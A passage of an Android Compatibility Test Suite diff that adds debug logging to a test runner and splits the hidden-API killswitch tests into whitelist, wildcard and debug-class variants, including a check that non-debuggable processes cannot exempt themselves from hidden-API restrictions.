import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.result.TestDescription;
import com.android.tradefed.testtype.IAbi;
@@ -321,6 +322,7 @@
if (!mDevice.pushFile(tmpExcludeFile, EXCLUDE_FILE)) {
Log.logAndDisplay(LogLevel.ERROR, TAG, "Couldn't push file: " + tmpExcludeFile);
} else {
+ CLog.d("exclude-filter-file: %s", safeReadContentFromFile(tmpExcludeFile));
// If sucessfully pushed then add it as a filter.
excludeFile = String.format("--exclude-filter-file=%s", EXCLUDE_FILE);
}
@@ -340,6 +342,7 @@
if (!mDevice.pushFile(mIncludeTestFile, INCLUDE_FILE)) {
Log.logAndDisplay(LogLevel.ERROR, TAG, "Couldn't push file: " + path);
} else {
+ CLog.d("include-filter-file: %s", safeReadContentFromFile(mIncludeTestFile));
// If sucessfully pushed then add it as a filter.
includeFile = String.format("--include-filter-file=%s", INCLUDE_FILE);
}
@@ -398,11 +401,9 @@
if (tag.equals(START_RUN)) {
listener.testRunStarted(mRunName, Integer.parseInt(parts[1]));
Log.logAndDisplay(LogLevel.INFO, TAG, command);
- Log.logAndDisplay(LogLevel.INFO, TAG, line);
} else if (tag.equals(END_RUN)) {
listener.testRunEnded(Integer.parseInt(parts[1]),
Collections.<String, String>emptyMap());
- Log.logAndDisplay(LogLevel.INFO, TAG, line);
} else if (tag.equals(START_TEST)) {
test = getTestDescription(parts[1]);
listener.testStarted(test);
@@ -411,9 +412,9 @@
} else if (tag.equals(END_TEST)) {
listener.testEnded(getTestDescription(parts[1]),
Collections.<String, String>emptyMap());
- } else {
- Log.logAndDisplay(LogLevel.INFO, TAG, line);
}
+ // Always log the output for debugging
+ CLog.d(line);
}
}
@@ -561,4 +562,13 @@
return name.startsWith(mName) && name.endsWith(EXPECTATIONS_EXT);
}
}
+
+ private String safeReadContentFromFile(File file) {
+ try {
+ return FileUtil.readStringFromFile(file);
+ } catch (IOException e) {
+ CLog.e(e);
+ return null;
+ }
+ }
}
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index bfade92..7158dcb 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -27,4 +27,8 @@
<option name="package" value="android.inline.mocking.cts" />
<option name="runtime-hint" value="30s" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
similarity index 62%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
index e6ee38f..7f6d5b6 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
@@ -15,16 +15,8 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
+LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-include $(BUILD_CTS_PACKAGE)
+LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
new file mode 100644
index 0000000..8586df6
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.hiddenapi_blacklist_debug_class">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation
+ android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.hiddenapi_blacklist_debug_class"
+ android:label="Hidden API Blacklist Test with Debug Class Exempt"/>
+</manifest>
diff --git a/tests/signature/api-check/hidden-api-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
similarity index 61%
copy from tests/signature/api-check/hidden-api-whitelist/AndroidTest.xml
copy to tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index 478c7c2..e58c362 100644
--- a/tests/signature/api-check/hidden-api-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -17,19 +17,22 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Whitelist all APIs before running the test, then reset this afterwards. The test
- is intended to verify the behaviour when all APIs are whitelisted. -->
- <option name="run-command" value="settings put global hidden_api_blacklist_exemptions L" />
- <option name="teardown-command" value="settings delete global hidden_api_blacklist_exemptions" />
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
+ <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsHiddenApiWhitelistTestCases.apk" />
+ <option name="test-file-name" value="CtsHiddenApiBlacklistDebugClassTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts.api.whitelist" />
+ <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="class" value="android.signature.cts.api.KillswitchTest" />
- <option name="runtime-hint" value="60s" />
+ <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
+ <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+ <option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
similarity index 94%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
index e6ee38f..7423448 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
@@ -15,7 +15,7 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
+LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchDebugClassTestCases
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_MULTILIB := both
diff --git a/tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
similarity index 83%
copy from tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml
copy to tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
index 2e990a1..1bd686b 100644
--- a/tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
@@ -16,11 +16,11 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.killswitch">
+ package="android.signature.cts.api.killswitch_debug_class">
<application android:debuggable="true"/>
<instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
- android:targetPackage="android.signature.cts.api.killswitch"
- android:label="Hidden API Killswitch Test"/>
+ android:targetPackage="android.signature.cts.api.killswitch_debug_class"
+ android:label="Hidden API Debuggable Class Killswitch Test"/>
</manifest>
diff --git a/tests/signature/api-check/hidden-api-killswitch/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
similarity index 69%
copy from tests/signature/api-check/hidden-api-killswitch/AndroidTest.xml
copy to tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 35bf729..837dde8 100644
--- a/tests/signature/api-check/hidden-api-killswitch/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -16,20 +16,18 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Enable the killswitch before running the test, then disable it afterwards. The test
- is intended to verify the behaviour when the killswitch is enabled. -->
- <option name="run-command" value="settings put global hidden_api_blacklist_exemptions \*" />
- <option name="teardown-command" value="settings delete global hidden_api_blacklist_exemptions" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsHiddenApiKillswitchTestCases.apk" />
+ <option name="test-file-name" value="CtsHiddenApiKillswitchDebugClassTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts.api.killswitch" />
+ <option name="package" value="android.signature.cts.api.killswitch_debug_class" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="class" value="android.signature.cts.api.KillswitchTest" />
+ <option name="class" value="android.signature.cts.api.DebugClassKillswitchTest" />
<option name="runtime-hint" value="60s" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
similarity index 94%
rename from tests/signature/api-check/hidden-api-whitelist/Android.mk
rename to tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
index e6ee38f..9364286 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
@@ -15,7 +15,7 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
+LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWhitelistTestCases
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_MULTILIB := both
diff --git a/tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
similarity index 84%
copy from tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml
copy to tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
index 2e990a1..5b023af 100644
--- a/tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
@@ -16,11 +16,11 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.killswitch">
+ package="android.signature.cts.api.killswitch_whitelist">
<application android:debuggable="true"/>
<instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
- android:targetPackage="android.signature.cts.api.killswitch"
- android:label="Hidden API Killswitch Test"/>
+ android:targetPackage="android.signature.cts.api.killswitch_whitelist"
+ android:label="Hidden API Killswitch Whitelist Test"/>
</manifest>
diff --git a/tests/signature/api-check/hidden-api-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
similarity index 78%
rename from tests/signature/api-check/hidden-api-whitelist/AndroidTest.xml
rename to tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
index 478c7c2..720f16ff 100644
--- a/tests/signature/api-check/hidden-api-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
@@ -24,12 +24,16 @@
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsHiddenApiWhitelistTestCases.apk" />
+ <option name="test-file-name" value="CtsHiddenApiKillswitchWhitelistTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts.api.whitelist" />
+ <option name="package" value="android.signature.cts.api.killswitch_whitelist" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="class" value="android.signature.cts.api.KillswitchTest" />
+ <option name="class" value="android.signature.cts.api.WhitelistKillswitchTest" />
<option name="runtime-hint" value="60s" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
similarity index 94%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
index e6ee38f..2274762 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
@@ -15,7 +15,7 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
+LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWildcardTestCases
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_MULTILIB := both
diff --git a/tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
similarity index 84%
rename from tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml
rename to tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
index 2e990a1..68f3acf 100644
--- a/tests/signature/api-check/hidden-api-killswitch/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
@@ -16,11 +16,11 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.killswitch">
+ package="android.signature.cts.api.killswitch_wildcard">
<application android:debuggable="true"/>
<instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
- android:targetPackage="android.signature.cts.api.killswitch"
- android:label="Hidden API Killswitch Test"/>
+ android:targetPackage="android.signature.cts.api.killswitch_wildcard"
+ android:label="Hidden API Wildcard Killswitch Test"/>
</manifest>
diff --git a/tests/signature/api-check/hidden-api-killswitch/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
similarity index 81%
rename from tests/signature/api-check/hidden-api-killswitch/AndroidTest.xml
rename to tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index 35bf729..bb726bb 100644
--- a/tests/signature/api-check/hidden-api-killswitch/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -24,12 +24,16 @@
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsHiddenApiKillswitchTestCases.apk" />
+ <option name="test-file-name" value="CtsHiddenApiKillswitchWildcardTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts.api.killswitch" />
+ <option name="package" value="android.signature.cts.api.killswitch_wildcard" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="class" value="android.signature.cts.api.KillswitchTest" />
+ <option name="class" value="android.signature.cts.api.WildcardKillswitchTest" />
<option name="runtime-hint" value="60s" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/signature/api-check/hidden-api-killswitch/Android.mk b/tests/signature/api-check/hidden-api-killswitch/Android.mk
deleted file mode 100644
index 33afcff..0000000
--- a/tests/signature/api-check/hidden-api-killswitch/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-whitelist/AndroidManifest.xml b/tests/signature/api-check/hidden-api-whitelist/AndroidManifest.xml
deleted file mode 100644
index f00c60a..0000000
--- a/tests/signature/api-check/hidden-api-whitelist/AndroidManifest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.whitelist">
-
- <application android:debuggable="true"/>
-
- <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
- android:targetPackage="android.signature.cts.api.whitelist"
- android:label="Hidden API Whitelist Test"/>
-</manifest>
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/KillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
similarity index 78%
rename from tests/signature/api-check/src/java/android/signature/cts/api/KillswitchTest.java
rename to tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 2309f55..17a5b78 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/KillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -16,6 +16,7 @@
package android.signature.cts.api;
+import android.os.Bundle;
import android.provider.Settings;
import android.signature.cts.DexApiDocumentParser;
import android.signature.cts.DexField;
@@ -23,29 +24,26 @@
import android.signature.cts.DexMemberChecker;
import android.signature.cts.DexMethod;
import android.signature.cts.FailureType;
+import repackaged.android.test.InstrumentationTestRunner;
-public class KillswitchTest extends AbstractApiTest {
+public abstract class BaseKillswitchTest extends AbstractApiTest {
- private String mExemptions;
+ protected String mErrorMessageAppendix;
@Override
protected void setUp() throws Exception {
super.setUp();
DexMemberChecker.init();
- // precondition check: make sure global setting has been configured properly.
- // This should be done via an adb command, configured in AndroidTest.xml.
- mExemptions = Settings.Global.getString(
- getInstrumentation().getContext().getContentResolver(),
- Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
- assertTrue("Global setting " + Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS,
- "*".equals(mExemptions) || "L".equals(mExemptions));
}
- private String errorMessageAppendix() {
- return " when global setting hidden_api_blacklist_exemptions is set to " + mExemptions;
+ protected String getGlobalExemptions() {
+ return Settings.Global.getString(
+ getInstrumentation().getContext().getContentResolver(),
+ Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
}
- public void testKillswitch() {
+ // Test shared by all the subclasses.
+ public void testKillswitchMechanism() {
runWithTestResultObserver(resultObserver -> {
DexMemberChecker.Observer observer = new DexMemberChecker.Observer() {
@Override
@@ -55,7 +53,7 @@
FailureType.MISSING_CLASS,
member.toString(),
"Class from boot classpath is not accessible"
- + errorMessageAppendix());
+ + mErrorMessageAppendix);
}
}
@@ -66,7 +64,7 @@
FailureType.MISSING_FIELD,
field.toString(),
"Field from boot classpath is not accessible via reflection"
- + errorMessageAppendix());
+ + mErrorMessageAppendix);
}
}
@@ -77,7 +75,7 @@
FailureType.MISSING_FIELD,
field.toString(),
"Field from boot classpath is not accessible via JNI"
- + errorMessageAppendix());
+ + mErrorMessageAppendix);
}
}
@@ -93,7 +91,7 @@
FailureType.MISSING_METHOD,
method.toString(),
"Method from boot classpath is not accessible via reflection"
- + errorMessageAppendix());
+ + mErrorMessageAppendix);
}
}
@@ -104,7 +102,7 @@
FailureType.MISSING_METHOD,
method.toString(),
"Method from boot classpath is not accessible via JNI"
- + errorMessageAppendix());
+ + mErrorMessageAppendix);
}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassHiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassHiddenApiTest.java
new file mode 100644
index 0000000..8168f08
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassHiddenApiTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.signature.cts.DexMemberChecker;
+
+public class DebugClassHiddenApiTest extends HiddenApiTest {
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ // Try to exempt DexMemberChecker class from hidden API checks.
+ // This should fail as this process is not debuggable.
+ assertFalse(DexMemberChecker.requestExemptionFromHiddenApiChecks());
+ }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java
new file mode 100644
index 0000000..7a5e900
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.signature.cts.DexMemberChecker;
+
+public class DebugClassKillswitchTest extends BaseKillswitchTest {
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mErrorMessageAppendix = " to exempted DexMemberChecker class";
+
+ // Exempt DexMemberChecker class from hidden API checks.
+ assertTrue(DexMemberChecker.requestExemptionFromHiddenApiChecks());
+ }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index f04f476..ba8e8c5 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -49,6 +49,12 @@
hiddenApiFiles = getCommaSeparatedList(instrumentationArgs, "hidden-api-files");
}
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ DexMemberChecker.init();
+ }
+
/**
* Tests that the device does not expose APIs on the provided lists of
* DEX signatures.
@@ -56,7 +62,6 @@
* Will check the entire API, and then report the complete list of failures
*/
public void testSignature() {
- DexMemberChecker.init();
runWithTestResultObserver(resultObserver -> {
DexMemberChecker.Observer observer = new DexMemberChecker.Observer() {
@Override
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java
new file mode 100644
index 0000000..8eade1d
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.signature.cts.DexMemberChecker;
+
+public class WhitelistKillswitchTest extends BaseKillswitchTest {
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ String exemptions = getGlobalExemptions();
+ mErrorMessageAppendix = " when global setting hidden_api_blacklist_exemptions is "
+ + "\"" + exemptions + "\"";
+
+ // precondition check: make sure global setting has been configured properly.
+ // This should be done via an adb command, configured in AndroidTest.xml.
+ assertEquals("L", exemptions);
+ }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
new file mode 100644
index 0000000..32d352fe
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.signature.cts.DexMemberChecker;
+
+public class WildcardKillswitchTest extends BaseKillswitchTest {
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ String exemptions = getGlobalExemptions();
+ mErrorMessageAppendix = " when global setting hidden_api_blacklist_exemptions is "
+ + "\"" + exemptions + "\"";
+
+ // precondition check: make sure global setting has been configured properly.
+ // This should be done via an adb command, configured in AndroidTest.xml.
+ assertEquals("*", exemptions);
+ }
+}
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index e5664fb..f8ec3d1 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -27,8 +27,11 @@
CtsHiddenApiBlacklistCurrentApiTestCases
CtsHiddenApiBlacklistApi27TestCases
-CtsHiddenApiKillswitchTestCases
-CtsHiddenApiWhitelistTestCases
